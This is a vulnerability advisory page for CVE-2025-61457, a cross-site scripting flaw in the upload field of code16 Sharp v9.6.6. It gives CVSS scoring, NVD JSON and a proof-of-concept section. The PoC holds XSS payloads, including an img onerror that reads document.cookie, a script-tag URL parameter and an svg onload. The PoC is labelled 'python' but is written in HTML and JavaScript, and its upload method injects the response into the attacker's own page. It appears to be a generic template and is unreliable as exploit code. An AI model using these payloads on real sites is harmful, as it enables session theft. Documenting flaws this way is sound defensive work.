Security Vulnerability Report
中文
CVE-2025-61457 CVSS 6.1 MEDIUM

CVE-2025-61457

Published: 2025-10-21 19:21:25
Last Modified: 2026-04-15 00:35:42

Description

code16 Sharp v9.6.6 is vulnerable to Cross Site Scripting (XSS) src/Form/Fields/SharpFormUploadField.php.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

code16 Sharp < v9.7.0
code16 Sharp v9.6.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-61457 PoC: XSS via SharpFormUploadField --> <!-- The vulnerability exists in src/Form/Fields/SharpFormUploadField.php line 97 --> <!-- Attackers can inject malicious scripts through file upload field inputs --> <!-- Method 1: Malicious filename in upload field --> <script> // Simulate uploading a file with a malicious filename // The filename is reflected in the page without proper sanitization var maliciousFilename = '"><img src=x onerror=alert(document.cookie)>'; // Construct the malicious upload request var formData = new FormData(); var blob = new Blob(['dummy content'], { type: 'text/plain' }); formData.append('file', blob, maliciousFilename); // Submit to the vulnerable Sharp form endpoint fetch('/sharp/form/upload', { method: 'POST', body: formData }).then(response => response.text()) .then(html => { // The malicious script will execute when the upload result is displayed document.body.innerHTML = html; }); </script> <!-- Method 2: Direct XSS payload via crafted URL parameter --> <!-- URL: https://target.com/sharp/form?field=<script>alert('XSS')</script> --> <!-- Method 3: Stored XSS via form field input --> <!-- Input the following as a filename or description in the upload form: --> <!-- <svg/onload=alert('CVE-2025-61457')> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61457", "sourceIdentifier": "[email protected]", "published": "2025-10-21T19:21:24.850", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "code16 Sharp v9.6.6 is vulnerable to Cross Site Scripting (XSS) src/Form/Fields/SharpFormUploadField.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/chimmeee/vulnerability-research/blob/main/CVE-2025-61457", "source": "[email protected]"}, {"url": "https://github.com/code16/sharp/blob/6d106b05aa07c6b46f5de28f909b732e1bbcdc47/src/Form/Fields/SharpFormUploadField.php#L97", "source": "[email protected]"}, {"url": "https://github.com/code16/sharp/issues/611", "source": "[email protected]"}, {"url": "https://github.com/code16/sharp/releases/tag/v9.7.0", "source": "[email protected]"}]}}